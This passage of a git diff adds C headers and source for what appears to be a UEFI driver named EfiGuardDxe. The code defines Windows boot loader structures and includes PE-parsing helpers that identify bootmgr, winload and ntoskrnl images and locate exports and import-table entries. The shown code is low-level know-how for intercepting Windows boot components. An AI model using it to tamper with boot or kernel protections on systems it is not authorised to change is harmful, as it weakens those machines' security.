LARGE_INTEGER Data[1]; +} LEAP_SECOND_DATA, *PLEAP_SECOND_DATA; + +// +// Since 10.0.15063.0 +// +typedef struct _LOADER_RESET_REASON { + UINT8 Supplied; + union { + struct { + UINT64 Pch : 1; + UINT64 EmbeddedController : 1; + UINT64 Reserved : 6; + } Component; + UINT64 AsULONG64; + UINT8 AsBytes[8]; + } Basic; + UINT32 AdditionalInfo[8]; +} LOADER_RESET_REASON, *PLOADER_RESET_REASON; + +typedef struct _LOADER_HIVE_RECOVERY_INFO { + struct { + // + // 1 if the hive was recovered by the boot loader, 0 otherwise. + // + UINT32 Recovered : 1; + + // + // 1 if recovery from a legacy log file was performed, 0 otherwise. + // + UINT32 LegacyRecovery : 1; + + // + // 1 if this hive was loaded as part of a soft reboot and encountered + // a sharing violation during the load (causing it to be loaded from + // a copy). 0 otherwise. + // + UINT32 SoftRebootConflict : 1; + + // + // The most recent log from which recovery was performed as an + // HFILE_TYPE. + // + // i.e. For legacy recovery the individual log file recovery was + // performed from, otherwise the log from which the highest + // sequence numbered entry was from. + // + UINT32 MostRecentLog : 3; + + UINT32 Spare : ((sizeof(UINT32) * 8) - 5); + } s; + + // + // The sequence number that should be used for the next log entry. + // + UINT32 LogNextSequence; + + // + // The minimum sequence number in the most recent log. + // + UINT32 LogMinimumSequence; + + // + // The file offset at which the next log entry should be written in the + // most recent log. + // + UINT32 LogCurrentOffset; +} LOADER_HIVE_RECOVERY_INFO, *PLOADER_HIVE_RECOVERY_INFO; + +// +// Internal boot flags definitions. +// +#define INTERNAL_BOOT_FLAGS_NONE 0x00000000 +#define INTERNAL_BOOT_FLAGS_UTC_BOOT_TIME 0x00000001 +#define INTERNAL_BOOT_FLAGS_RTC_BOOT_TIME 0x00000002 +#define INTERNAL_BOOT_FLAGS_NO_LEGACY_SERVICES 0x00000004 + +typedef struct _LOADER_PARAMETER_EXTENSION { + UINT32 Size; // set to sizeof (struct _LOADER_PARAMETER_EXTENSION) + PROFILE_PARAMETER_BLOCK Profile; + + // + // Errata Manager inf file. + // + VOID* EmInfFileImage; + UINT32 EmInfFileSize; + + // + // Pointer to the triage block, if present. + // + VOID* TriageDumpBlock; + + struct _HEADLESS_LOADER_BLOCK *HeadlessLoaderBlock; + + struct _SMBIOS3_TABLE_HEADER *SMBiosEPSHeader; + + VOID* DrvDBImage; // Database used to identify "broken" drivers. + UINT32 DrvDBSize; + + // If booting from the Network (PXE) then we will + // save the Network boot params in this loader block + struct _NETWORK_LOADER_BLOCK *NetworkLoaderBlock; + +#if defined(_X86_) + // + // Pointers to IRQL translation tables that reside in the HAL + // and are exposed to the kernel for use in the "inlined IRQL" + // build + // + UINT8* HalpIRQLToTPR; + UINT8* HalpVectorToIRQL; +#endif + + // + // Firmware Location + // + LIST_ENTRY FirmwareDescriptorListHead; + + // + // Pointer to the in-memory copy of override ACPI tables. The override + // table file is a simple binary file with one or more ACPI tables laid + // out one after another. + // + VOID* AcpiTable; + + // + // Size of override ACPI tables in bytes. + // + UINT32 AcpiTableSize; + + // + // Various informational flags passed to OS via OS Loader. + // + struct { + // + // Variables describing the success of the previous boot - whether + // booting into the OS was successful, and whether the arc from boot to + // runtime to shutdown was successful. Various types of system crashes + // will cause one or both of these to be FALSE. + // + UINT32 LastBootSucceeded : 1; + UINT32 LastBootShutdown : 1; + + // + // A flag indicating whether the platform supports access to IO ports. + // + UINT32 IoPortAccessSupported : 1; + + // + // A flag indicating whether or not the boot debugger persisted + // through kernel initialization. + // + UINT32 BootDebuggerActive : 1; + + // + // A flag indicating whether the system must enforce strong code + // guarantees. + // + UINT32 StrongCodeGuarantees : 1; + + // + // A flag indicating whether the system must enforce hard strong code + // guarantees. + // + UINT32 HardStrongCodeGuarantees : 1; + + // + // A flag indicating whether SID sharing disabled. + // + UINT32 SidSharingDisabled : 1; + + // + // A flag indicating whether TPM was intialized successfully or not + // by the OS loader during boot. + // + UINT32 TpmInitialized : 1; + + // + // A flag indicating whether the VSM code page has been configured and + // is usable. + // + UINT32 VsmConfigured : 1; + + // + // A flag indicating whether IUM is enabled. + // + UINT32 IumEnabled : 1; + + // + // A flag indicating whether we're booting from SMB + // + UINT32 IsSmbboot : 1; + + // + // Below added in 10.0.14393.0 + // + UINT32 BootLogEnabled : 1; + + // + // Below added in 10.0.17134.0 + // + UINT32 DriverVerifierEnabled : 1; + + UINT32 Unused : 8; + + UINT32 FeatureSimulations : 6; + + UINT32 MicrocodeSelfHosting : 1; + + UINT32 XhciLegacyHandoffSkip : 1; + + // + // Below added in 10.0.17763.0 + // + UINT32 DisableInsiderOptInHVCI : 1; + + UINT32 MicrocodeMinVerSupported : 1; + + UINT32 GpuIommuEnabled : 1; + } s; + + // + // Loader runtime performance data. + // + // This was a pointer to LOADER_PERFORMANCE_DATA until 10.0.17763.0 + // + LOADER_PERFORMANCE_DATA LoaderPerformanceData; + + // + // Boot application persistent data. + // + LIST_ENTRY BootApplicationPersistentData; + + // + // Windows Memory Diagnostic Test Results. + // + VOID* WmdTestResult; + + // + // Boot entry identifier. + // + GUID BootIdentifier; + + // + // The number of pages to reserve for the resume application to use as + // scratch space. This should correspond to the boot environment's memory + // footprint. + // + UINT32 ResumePages; + + // + // The crash dump header, if present. + // + VOID* DumpHeader; + + // + // Boot graphics context. + // + VOID* BgContext; + + // + // NUMA node locality information and group assignment data. + // + VOID* NumaLocalityInfo; + VOID* NumaGroupAssignment; + + // + // List of hives attached by loader + // + LIST_ENTRY AttachedHives; + + // + // Number of entries in the MemoryCachingRequirements map. + // + UINT32 MemoryCachingRequirementsCount; + + // + // List of MEMORY_CACHING_REQUIREMENTS for the system. + // + VOID* MemoryCachingRequirements; + + // + // Result of the Boot entropy gathering. + // + BOOT_ENTROPY_LDR_RESULT BootEntropyResult; + + // + // Computed ITC/TSC frequency of the BSP in hertz. + // + UINT64 ProcessorCounterFrequency; + + // + // Hypervisor specific information. + // + LOADER_PARAMETER_HYPERVISOR_EXTENSION HypervisorExtension; + + // + // Hardware configuration ID used to uniquelly identify the system. + // + GUID HardwareConfigurationId; + + // + // List of HAL_EXTENSION_MODULE_ENTRY structures. + // + LIST_ENTRY HalExtensionModuleList; + + // + // Contains most recent time from firmware, bootstat.dat and ntos build time. + // + LARGE_INTEGER SystemTime; + + // + // Contains cycle counter timestamp at the time SystemTime value was read. + // + UINT64 TimeStampAtSystemTimeRead; + + // + // Boot Flags that are passed to the SystemBootEnvironmentInformation class. + // + union { + UINT64 BootFlags; + struct { + UINT64 DbgMenuOsSelection : 1; + UINT64 DbgHiberBoot : 1; + UINT64 DbgSoftRestart : 1; + UINT64 DbgMeasuredLaunch : 1; + } s; + } u1; + + // + // Internal only flags that are passed to the kernel. + // + union { + UINT64 InternalBootFlags; + struct { + UINT64 DbgUtcBootTime : 1; + UINT64 DbgRtcBootTime : 1; + UINT64 DbgNoLegacyServices : 1; + } s; + } u2; + + // + // Pointer to the in-memory copy of the Wfs FP data. + // + VOID* WfsFPData; + + // + // Size of Wfs FP data in bytes. + // + UINT32 WfsFPDataSize; + + // + // Loader bugcheck parameters for the kernel or extensions to act upon + // + LOADER_BUGCHECK_PARAMETERS BugcheckParameters; + + // + // API set schema data. + // + VOID* ApiSetSchema; + UINT32 ApiSetSchemaSize; + LIST_ENTRY ApiSetSchemaExtensions; + + // + // The system's firmware version according to ACPI's FADT, + // SMBIOS's BIOS information table, and EFI's system table respectively. + // + UNICODE_STRING AcpiBiosVersion; + UNICODE_STRING SmbiosVersion; + UNICODE_STRING EfiVersion; + + // + // Debugger Descriptor + // + struct _DEBUG_DEVICE_DESCRIPTOR *KdDebugDevice; + + // + // EFI Offline crashdump configuration table. + // + OFFLINE_CRASHDUMP_CONFIGURATION_TABLE OfflineCrashdumpConfigurationTable; + + // + // Manufacturing mode profile name. + // + UNICODE_STRING ManufacturingProfile; + + // + // BBT Buffer to enable precise event based sampling. + // + VOID* BbtBuffer; + + // + // Registry values to be passed to the kernel for calculation of Xsave Buffer Size on Intel platforms + // +#if defined(_X86_) || defined (_AMD64_) + UINT64 XsaveAllowedFeatures; + UINT32 XsaveFlags; +#endif + + // + // Boot options used by the OS loader. + // + VOID* BootOptions; + + // + // These fields were added and/or moved forward in 10.0.17763.0 + // + UINT32 IumEnablement; + UINT32 IumPolicy; + INT32 IumStatus; + + // + // Boot sequence tracking for reliability reporting. + // + UINT32 BootId; + + // + // Code Integrity configuration. + // + PLOADER_PARAMETER_CI_EXTENSION CodeIntegrityData; + UINT32 CodeIntegrityDataSize; + + LOADER_HIVE_RECOVERY_INFO SystemHiveRecoveryInfo; + + // + // Below fields added in 10.0.14393.0 + // + UINT32 SoftRestartCount; + + INT64 SoftRestartTime; + + VOID* HypercallCodeVa; + + VOID* HalVirtualAddress; + + UINT64 HalNumberOfBytes; + + PLEAP_SECOND_DATA LeapSecondData; + + UINT32 MajorRelease; + + UINT32 Reserved1; + + // + // Below fields added in 10.0.15063.0 + // + CHAR8 NtBuildLab[224]; + + CHAR8 NtBuildLabEx[224]; + + LOADER_RESET_REASON ResetReason; + + // + // Below field added in 10.0.17134.0 + // + UINT32 MaxPciBusNumber; + + // + // Below field added in 10.0.17763.0 + // + UINT32 FeatureSettings; +} LOADER_PARAMETER_EXTENSION, *PLOADER_PARAMETER_EXTENSION; + +struct _HEADLESS_LOADER_BLOCK; +struct _SMBIOS_TABLE_HEADER; + +typedef struct _NETWORK_LOADER_BLOCK { + + // Binary contents of the entire DHCP Acknowledgment + // packet received by PXE. + UINT8* DHCPServerACK; + UINT32 DHCPServerACKLength; + + // Binary contents of the entire BINL Reply + // packet received by PXE. + UINT8* BootServerReplyPacket; + UINT32 BootServerReplyPacketLength; + +} NETWORK_LOADER_BLOCK, *PNETWORK_LOADER_BLOCK; + +typedef struct _VIRTUAL_EFI_RUNTIME_SERVICES { + + // + // (Virtual) Entry points to each of the EFI Runtime services. + // + UINTN GetTime; + UINTN SetTime; + UINTN GetWakeupTime; + UINTN SetWakeupTime; + UINTN SetVirtualAddressMap; + UINTN ConvertPointer; + UINTN GetVariable; + UINTN GetNextVariableName; + UINTN SetVariable; + UINTN GetNextHighMonotonicCount; + UINTN ResetSystem; + UINTN UpdateCapsule; + UINTN QueryCapsuleCapabilities; + UINTN QueryVariableInfo; + +} VIRTUAL_EFI_RUNTIME_SERVICES, *PVIRTUAL_EFI_RUNTIME_SERVICES; + +typedef struct _EFI_FIRMWARE_INFORMATION { + UINT32 FirmwareVersion; + PVIRTUAL_EFI_RUNTIME_SERVICES VirtualEfiRuntimeServices; + + // + // The return value from SetVirtualAddressMap call. + // + NTSTATUS SetVirtualAddressMapStatus; + + // + // Number of mappings missed if any due to change in firmware + // runtime memory map (for debugging). + // + UINT32 MissedMappingsCount; + + // + // The firmware resource list identifies firmware components that can + // be updated via WU. + // + LIST_ENTRY FirmwareResourceList; + + // + // The EFI memory map. + // + VOID* EfiMemoryMap; + UINT32 EfiMemoryMapSize; + UINT32 EfiMemoryMapDescriptorSize; + +} EFI_FIRMWARE_INFORMATION, *PEFI_FIRMWARE_INFORMATION; + +typedef struct _PCAT_FIRMWARE_INFORMATION { + UINT32 PlaceHolder; +} PCAT_FIRMWARE_INFORMATION, *PPCAT_FIRMWARE_INFORMATION; + +typedef struct _FIRMWARE_INFORMATION_LOADER_BLOCK { + struct { + // + // If set to TRUE, indicates that the system is running on EFI + // firmware. + // + UINT32 FirmwareTypeEfi: 1; + + // + // A flag indicating whether EFI runtime service calls must be routed + // through IUM. + // + UINT32 EfiRuntimeUseIum: 1; + + // + // A flag indicating whether EFI runtime code and data pages are + // separate and protected with RW or RX protections. + // + //UINT32 EfiRuntimePageProtectionEnabled: 1; // This was removed again in 10.0.14393.0 + + // + // A flag indicating whether the firmware supports code and data page + // separation with restricted protections. + // + UINT32 EfiRuntimePageProtectionSupported: 1; + +#if defined (_ARM64_) + // + // If set to TRUE, indicates that the system EFI was started in EL2 + // and therefore has something running there (hypervisor/microvisor). + // Also, this is where APs will start (EL2), and need to be directed + // to EL1 properly before they can start in the HLOS. + // + UINT32 FirmwareStartedInEL2: 1; + UINT32 Reserved: 28; +#else + UINT32 Reserved: 29; +#endif + } s; + + union { + EFI_FIRMWARE_INFORMATION EfiInformation; + PCAT_FIRMWARE_INFORMATION PcatInformation; + } u; + +} FIRMWARE_INFORMATION_LOADER_BLOCK, *PFIRMWARE_INFORMATION_LOADER_BLOCK; + +// +// I'd just like to interject for a moment... without this the next struct won't compile. +// Source: kernel PDBs once in a blue moon +// +typedef struct _KLDR_DATA_TABLE_ENTRY { + LIST_ENTRY InLoadOrderLinks; + VOID* ExceptionTable; + UINT32 ExceptionTableSize; + VOID* GpValue; + struct _NON_PAGED_DEBUG_INFO* NonPagedDebugInfo; + VOID* DllBase; + VOID* EntryPoint; + UINT32 SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + UINT32 Flags; + UINT16 LoadCount; + union { + struct { + UINT16 SignatureLevel : 4; + UINT16 SignatureType : 3; + UINT16 Unused : 9; + } s; + UINT16 EntireField; + } u; + VOID* SectionPointer; + UINT32 CheckSum; + UINT32 CoverageSectionSize; + VOID* CoverageSection; + VOID* LoadedImports; + VOID* Spare; + + // Below fields are Win 10+ only + UINT32 SizeOfImageNotRounded; + UINT32 TimeDateStamp; +} KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY; + +// +// Boot loader data table entry. Each of the load lists in the parameter block +// consist of boot loader data table entries. +// +// N.B. This structure requires ntldr.h to have been included. +// +#define BLDR_FLAGS_CORE_DRIVER_DEPENDENT_DLL 0x00000001 +#define BLDR_FLAGS_CORE_EXTENSION_DEPENDENT_DLL 0x00000002 + +typedef struct _BLDR_DATA_TABLE_ENTRY { + KLDR_DATA_TABLE_ENTRY KldrEntry; + UNICODE_STRING CertificatePublisher; + UNICODE_STRING CertificateIssuer; + VOID* ImageHash; + VOID* CertificateThumbprint; + UINT32 ImageHashAlgorithm; + UINT32 ThumbprintHashAlgorithm; + UINT32 ImageHashLength; + UINT32 CertificateThumbprintLength; + UINT32 LoadInformation; + UINT32 Flags; +} BLDR_DATA_TABLE_ENTRY, *PBLDR_DATA_TABLE_ENTRY; + +#define OSLOADER_SECURITY_VERSION_CURRENT 1 + +typedef struct _LOADER_PARAMETER_BLOCK { + UINT32 OsMajorVersion; + UINT32 OsMinorVersion; + UINT32 Size; + UINT32 OsLoaderSecurityVersion; + LIST_ENTRY LoadOrderListHead; + LIST_ENTRY MemoryDescriptorListHead; + + // + // Define the Core, TPM Core and Core Extensions driver lists. The + // lists are organized as follows: + // + // 1. Core Drivers: This list consists of drivers that ELAM drivers and + // 3rd party Core Extensions depend upon (e.g. WDF, CNG.sys). All + // drivers in this group should be MS-supplied and thus MS-signed. + // + // 2. ELAM drivers. This list consists of 3rd party ELAM drivers. These + // drivers need to be signed with ELAM certificate. + // + // 3. Core Extensions: This list consists of 3rd party drivers (viz. + // Platform Extensions and Tree drivers) that TPM Core drivers + // depend upon. These drivers need to be signed with Core Extension + // certificate. + // + // 4. TPM Core: This list consists of TPM driver and bus drivers (e.g. + // ACPI, PCI) that are necessary to enumerate TPM. All drivers in + // this group should be MS-supplied and thus MS-signed. + // + // 5. Boot Driver: This list contains the rest of the boot drivers. + // + LIST_ENTRY BootDriverListHead; + LIST_ENTRY EarlyLaunchListHead; + LIST_ENTRY CoreDriverListHead; + LIST_ENTRY CoreExtensionsDriverListHead; + LIST_ENTRY TpmCoreDriverListHead; + UINTN KernelStack; + UINTN Prcb; + UINTN Process; + UINTN Thread; + UINT32 KernelStackSize; + UINT32 RegistryLength; + VOID* RegistryBase; + PCONFIGURATION_COMPONENT_DATA ConfigurationRoot; + CHAR8* ArcBootDeviceName; + CHAR8* ArcHalDeviceName; + CHAR8* NtBootPathName; + CHAR8* NtHalPathName; + CHAR8* LoadOptions; + PNLS_DATA_BLOCK NlsData; + PARC_DISK_INFORMATION ArcDiskInformation; + PLOADER_PARAMETER_EXTENSION Extension; + union { + I386_LOADER_BLOCK I386; + ARM_LOADER_BLOCK Arm; + } u; + FIRMWARE_INFORMATION_LOADER_BLOCK FirmwareInformation; + + // + // Below added in 10.0.17134.0 + // + CHAR8* OsBootstatPathName; + CHAR8* ArcOSDataDeviceName; + CHAR8* ArcWindowsSysPartName; +} LOADER_PARAMETER_BLOCK, *PLOADER_PARAMETER_BLOCK; + + +#define LHB_SYSTEM_HIVE 0x01 +#define LHB_BOOT_PARTITION 0x02 +#define LHB_SYSTEM_PARTITION 0x04 +#define LHB_ELAM_HIVE 0x08 +#define LHB_MOUNT_VOLATILE 0x10 + +#define LHB_VALID_FLAGS (LHB_SYSTEM_HIVE | LHB_BOOT_PARTITION | LHB_SYSTEM_PARTITION | LHB_ELAM_HIVE | LHB_MOUNT_VOLATILE) + +typedef struct _LOADER_HIVE_BLOCK { + LIST_ENTRY Entry; + CHAR16* FilePath; + UINT32 Flags; + VOID* RegistryBase; + UINT32 RegistryLength; + CHAR16* RegistryName; + CHAR16* RegistryParent; + LOADER_HIVE_RECOVERY_INFO RecoveryInfo; +} LOADER_HIVE_BLOCK, *PLOADER_HIVE_BLOCK; + +// +// Source: ReactOS bl.h +// +typedef struct _BL_RETURN_ARGUMENTS { + UINT32 Version; + UINT32 Status; + UINT32 Flags; + UINT64 DataSize; + UINT64 DataPage; +} BL_RETURN_ARGUMENTS, *PBL_RETURN_ARGUMENTS; + +typedef struct _BL_BCD_OPTION { + UINT32 Type; + UINT32 DataOffset; + UINT32 DataSize; + UINT32 ListOffset; + UINT32 NextEntryOffset; + UINT32 Empty; +} BL_BCD_OPTION, *PBL_BCD_OPTION; + +typedef struct _BL_APPLICATION_ENTRY { + CHAR8 Signature[8]; + UINT32 Flags; + EFI_GUID Guid; + UINT32 Unknown[4]; + BL_BCD_OPTION BcdData; +} BL_APPLICATION_ENTRY, *PBL_APPLICATION_ENTRY; + +typedef struct _BL_LOADED_APPLICATION_ENTRY { + UINT32 Flags; + EFI_GUID Guid; + PBL_BCD_OPTION BcdData; +} BL_LOADED_APPLICATION_ENTRY, *PBL_LOADED_APPLICATION_ENTRY; diff --git a/EfiGuardDxe/ntdef.h b/EfiGuardDxe/ntdef.h new file mode 100644 index 0000000..62a38b8 --- /dev/null +++ b/EfiGuardDxe/ntdef.h @@ -0,0 +1,80 @@ +#pragma once + +// +// Minimal version of ntdef.h to avoid a dependency on the WDK +// + +// Ignore this file if either ntdef.h or winnt.h has already been included elsewhere +#if !defined(_NTDEF_) && !defined(_WINNT_) + +// DebugLib.h (re)defines _DEBUG without checking if it has already been defined. So get it now +#include + +// Get the correct CPU and (non-)debug defines for NT from UEFI if we don't have them already +#if defined(MDE_CPU_X64) + #if !defined(_WIN64) + #define _WIN64 + #endif + #if !defined(_AMD64_) + #define _AMD64_ + #endif +#elif defined(MDE_CPU_IA32) + #if !defined(_X86_) + #define _X86_ + #endif +#endif +#if defined(EFI_DEBUG) + #if !defined(_DEBUG) + #define _DEBUG + #endif + #if !defined(DBG) + #define DBG 1 + #endif +#endif +#if defined(MDEPKG_NDEBUG) + #if !defined(NDEBUG) + #define NDEBUG + #endif +#endif + +// Defines +#define ANYSIZE_ARRAY 1 +#define FIELD_OFFSET(Type, Field) ((INT32)(INTN)&(((Type *)0)->Field)) +#define MAKELANGID(Primary, Sub) ((((UINT16)(Sub)) << 10) | (UINT16)(Primary)) +#define LANG_NEUTRAL 0x00 +#define SUBLANG_NEUTRAL 0x00 +#define RTL_CONSTANT_STRING(s) \ +{ \ + (sizeof(s) - sizeof((s)[0])), \ + (sizeof(s)), \ + (s) \ +} +#define LOWORD(l) ((UINT16)(((UINTN)(l)) & 0xffff)) +#define HIWORD(l) ((UINT16)((((UINTN)(l)) >> 16) & 0xffff)) +#define LOBYTE(w) ((UINT8)(((UINTN)(w)) & 0xff)) +#define HIBYTE(w) ((UINT8)((((UINTN)(w)) >> 8) & 0xff)) + +// Typedefs +typedef INT32 NTSTATUS; + +typedef union _LARGE_INTEGER { + struct { + UINT32 LowPart; + INT32 HighPart; + } s; + struct { + UINT32 LowPart; + INT32 HighPart; + } u; + INT64 QuadPart; +} LARGE_INTEGER; + +typedef struct _UNICODE_STRING { + UINT16 Length; + UINT16 MaximumLength; + CHAR16* Buffer; +} UNICODE_STRING; +typedef UNICODE_STRING *PUNICODE_STRING; +typedef CONST UNICODE_STRING *PCUNICODE_STRING; + +#endif // !defined(_NTDEF_) && !defined(_WINNT_) diff --git a/EfiGuardDxe/pe.c b/EfiGuardDxe/pe.c new file mode 100644 index 0000000..ef1edad --- /dev/null +++ b/EfiGuardDxe/pe.c @@ -0,0 +1,502 @@ +#include "EfiGuardDxe.h" + +#include +#include + + +#define LDR_IS_DATAFILE(x) (((UINTN)(x)) & (UINTN)1) +#define LDR_DATAFILE_TO_VIEW(x) ((VOID*)(((UINTN)(x)) & ~(UINTN)1)) + + +STATIC +BOOLEAN +EFIAPI +RtlIsCanonicalAddress( + UINTN Address + ) +{ +#if defined(MDE_CPU_IA32) + // 32-bit mode only supports 4GB max, so limits are not an issue + return TRUE; +#elif defined(MDE_CPU_X64) + // The most-significant 16 bits must be all 1 or all 0. (64 - 16) = 48bit linear address range. + // 0xFFFF800000000000 = Significant 16 bits set + // 0x0000800000000000 = 48th bit set + return (((Address & 0xFFFF800000000000) + 0x800000000000) & ~0x800000000000) == 0; +#endif +} + +PEFI_IMAGE_NT_HEADERS +EFIAPI +RtlpImageNtHeaderEx( + IN VOID* Base, + IN UINTN Size OPTIONAL + ) +{ + CONST BOOLEAN RangeCheck = Size > 0; + + if (RangeCheck && Size < sizeof(EFI_IMAGE_DOS_HEADER)) + return NULL; + if (((PEFI_IMAGE_DOS_HEADER)Base)->e_magic != EFI_IMAGE_DOS_SIGNATURE) + return NULL; + + CONST UINT32 e_lfanew = ((PEFI_IMAGE_DOS_HEADER)Base)->e_lfanew; + if (RangeCheck && + (e_lfanew >= Size || + e_lfanew >= (MAX_UINT32 - sizeof(EFI_IMAGE_NT_SIGNATURE) - sizeof(EFI_IMAGE_FILE_HEADER)) || + e_lfanew + sizeof(EFI_IMAGE_NT_SIGNATURE) + sizeof(EFI_IMAGE_FILE_HEADER) >= Size)) + { + return NULL; + } + + CONST PEFI_IMAGE_NT_HEADERS NtHeaders = (PEFI_IMAGE_NT_HEADERS)(((UINT8*)Base) + e_lfanew); + + // On x64, verify this is a canonical address + if (!RtlIsCanonicalAddress((UINTN)NtHeaders)) + return NULL; + + if (NtHeaders->Signature != EFI_IMAGE_NT_SIGNATURE) + return NULL; + + return NtHeaders; +} + +INPUT_FILETYPE +EFIAPI +GetInputFileType( + IN UINT8* ImageBase, + IN UINTN ImageSize + ) +{ + // The non-EFI bootmgr starts with a 16 bit real mode stub instead of the standard MZ header + if (*(UINT16*)ImageBase == 0xD5E9) + return Bootmgr; + + CONST PEFI_IMAGE_NT_HEADERS NtHeaders = RtlpImageNtHeaderEx(ImageBase, ImageSize); + if (NtHeaders == NULL) + return Unknown; + + CONST UINT16 Subsystem = HEADER_FIELD(NtHeaders, Subsystem); + if (Subsystem == EFI_IMAGE_SUBSYSTEM_NATIVE) + return Ntoskrnl; + + if (Subsystem == EFI_IMAGE_SUBSYSTEM_EFI_APPLICATION) + { + // Of the Windows loaders, only bootmgfw.efi has this subsystem type. + // Check for the BCD Bootmgr GUID, { 9DEA862C-5CDD-4E70-ACC1-F32B344D4795 }, which is present in bootmgfw/bootmgr (and on Win >= 8 also winload.[exe|efi]) + CONST EFI_GUID BcdWindowsBootmgrGuid = { 0x9dea862c, 0x5cdd, 0x4e70, { 0xac, 0xc1, 0xf3, 0x2b, 0x34, 0x4d, 0x47, 0x95 } }; + for (UINT8* Address = ImageBase; Address < ImageBase + ImageSize - sizeof(BcdWindowsBootmgrGuid); Address += sizeof(VOID*)) + { + if (CompareGuid((CONST GUID*)Address, &BcdWindowsBootmgrGuid)) + { + return BootmgfwEfi; + } + } + + // Some other OS is being booted + return Unknown; + } + + // All remaining known possibilities have subsystem 0x10 (Windows boot application) + if (Subsystem != EFI_IMAGE_SUBSYSTEM_WINDOWS_BOOT_APPLICATION) + { + DEBUG((DEBUG_WARN, "Unknown subsystem type 0x%02X.\r\n", Subsystem)); + return Unknown; + } + + // Brute force scan .rsrc to check if this is either winload.efi or bootmgr.efi. + // We've already eliminated bootmgr and bootmgfw.efi as candidates, so there will be no false positives + UINT32 Size = 0; + EFI_IMAGE_RESOURCE_DIRECTORY *ResourceDirTable = (EFI_IMAGE_RESOURCE_DIRECTORY*) + RtlpImageDirectoryEntryToDataEx(ImageBase, + TRUE, + EFI_IMAGE_DIRECTORY_ENTRY_RESOURCE, + &Size); + if (ResourceDirTable == NULL || Size == 0) + return Unknown; + + for (UINT8* Address = (UINT8*)ResourceDirTable; Address < ImageBase + ImageSize - sizeof(L"OSLOADER.XSL"); Address += sizeof(CHAR16)) + { + if (CompareMem(Address, L"BOOTMGR.XSL", sizeof(L"BOOTMGR.XSL") - sizeof(CHAR16)) == 0) + { + return BootmgrEfi; + } + if (CompareMem(Address, L"OSLOADER.XSL", sizeof(L"OSLOADER.XSL") - sizeof(CHAR16)) == 0) + { + return WinloadEfi; + } + } + + // Any remaining images that could slip through here (SecConfig.efi, winresume.efi) are not relevant for us + return Unknown; +} + +CONST CHAR16* +EFIAPI +FileTypeToString( + IN INPUT_FILETYPE FileType + ) +{ + switch (FileType) + { + case Bootmgr: + return L"bootmgr"; + case WinloadExe: + return L"winload.exe"; + case BootmgfwEfi: + return L"bootmgfw.efi"; + case BootmgrEfi: + return L"bootmgr.efi"; + case WinloadEfi: + return L"winload.efi"; + case Ntoskrnl: + return L"ntoskrnl.exe"; + case Unknown: + default: + return L""; + } +} + +VOID* +EFIAPI +GetProcedureAddress( + IN UINTN DllBase, + IN PEFI_IMAGE_NT_HEADERS NtHeaders, + IN CHAR8* RoutineName + ) +{ + if (DllBase == 0 || NtHeaders == NULL) + return NULL; + + // Get the export directory RVA and size + CONST PEFI_IMAGE_DATA_DIRECTORY ImageDirectories = NtHeaders->OptionalHeader.DataDirectory; + CONST UINT32 ExportDirRva = ImageDirectories[EFI_IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; + CONST UINT32 ExportDirSize = ImageDirectories[EFI_IMAGE_DIRECTORY_ENTRY_EXPORT].Size; + + // Read the export directory + CONST PEFI_IMAGE_EXPORT_DIRECTORY ExportDirectory = (PEFI_IMAGE_EXPORT_DIRECTORY)(DllBase + ExportDirRva); + CONST UINT32* AddressOfFunctions = (UINT32*)(DllBase + ExportDirectory->AddressOfFunctions); + CONST UINT16* AddressOfNameOrdinals = (UINT16*)(DllBase + ExportDirectory->AddressOfNameOrdinals); + CONST UINT32* AddressOfNames = (UINT32*)(DllBase + ExportDirectory->AddressOfNames); + + // Look up the import name in the name table using a binary search + INT32 Low = 0; + INT32 Middle = 0; + INT32 High = ExportDirectory->NumberOfNames - 1; + + while (High >= Low) + { + // Compute the next probe index and compare the import name + Middle = (Low + High) >> 1; + CONST INTN Result = AsciiStrCmp(RoutineName, (CHAR8*)(DllBase + AddressOfNames[Middle])); + if (Result < 0) + High = Middle - 1; + else if (Result > 0) + Low = Middle + 1; + else + break; + } + + // If the high index is less than the low index, then a matching table entry + // was not found. Otherwise, get the ordinal number from the ordinal table + if (High < Low || Middle >= (INT32)ExportDirectory->NumberOfFunctions) + return NULL; + CONST UINT32 FunctionRva = AddressOfFunctions[AddressOfNameOrdinals[Middle]]; + if (FunctionRva >= ExportDirRva && FunctionRva < ExportDirRva + ExportDirSize) + return NULL; // Ignore forward exports + + return (VOID*)(DllBase + FunctionRva); +} + +EFI_STATUS +EFIAPI +FindIATAddressForImport( + IN VOID* ImageBase, + IN PEFI_IMAGE_NT_HEADERS NtHeaders, + IN CONST CHAR8* ImportDllName, + IN CONST CHAR8* FunctionName, + OUT VOID **FunctionIATAddress + ) +{ + *FunctionIATAddress = NULL; + + // Get the import descriptor table + UINT32 ImportDirSize; + CONST PIMAGE_IMPORT_DESCRIPTOR DescriptorTable = (PIMAGE_IMPORT_DESCRIPTOR) + RtlpImageDirectoryEntryToDataEx(ImageBase, + TRUE, + EFI_IMAGE_DIRECTORY_ENTRY_IMPORT, + &ImportDirSize); + if (ImportDirSize == 0 || DescriptorTable == NULL) + return EFI_NOT_FOUND; + + // Count the number of DLL import descriptors + PIMAGE_IMPORT_DESCRIPTOR Entry = DescriptorTable; + UINT32 DllCount; + for (DllCount = 0; Entry->u.OriginalFirstThunk != 0; ++DllCount) + { + Entry = (PIMAGE_IMPORT_DESCRIPTOR)((UINTN)(Entry) + + sizeof(IMAGE_IMPORT_DESCRIPTOR)); + } + + // Iterate over the import descriptors + for (UINT32 i = 0; i < DllCount; ++i) + { + // Is this the import descriptor for our DLL? + CONST PIMAGE_IMPORT_DESCRIPTOR Descriptor = &DescriptorTable[i]; + CONST CHAR8* DllName = (CHAR8*)((UINTN)ImageBase + Descriptor->Name); + if (DllName == NULL || AsciiStriCmp(DllName, ImportDllName) != 0) + continue; // No - skip + + // Get the thunk data using the OFT if available, otherwise use the FT + CONST VOID* ThunkData = (VOID*)((UINTN)ImageBase + + (Descriptor->u.OriginalFirstThunk != 0 + ? Descriptor->u.OriginalFirstThunk + : Descriptor->FirstThunk)); + + // Iterate over the function imports + if (IMAGE64(NtHeaders)) + { + PIMAGE_THUNK_DATA64 ThunkEntry = (PIMAGE_THUNK_DATA64)ThunkData; + + for (UINT32 j = 0; ThunkEntry->u1.AddressOfData > 0; ++j) + { + CONST PIMAGE_IMPORT_BY_NAME ImportByName = (PIMAGE_IMPORT_BY_NAME)( + (UINTN)ImageBase + ThunkEntry->u1.AddressOfData); + + if 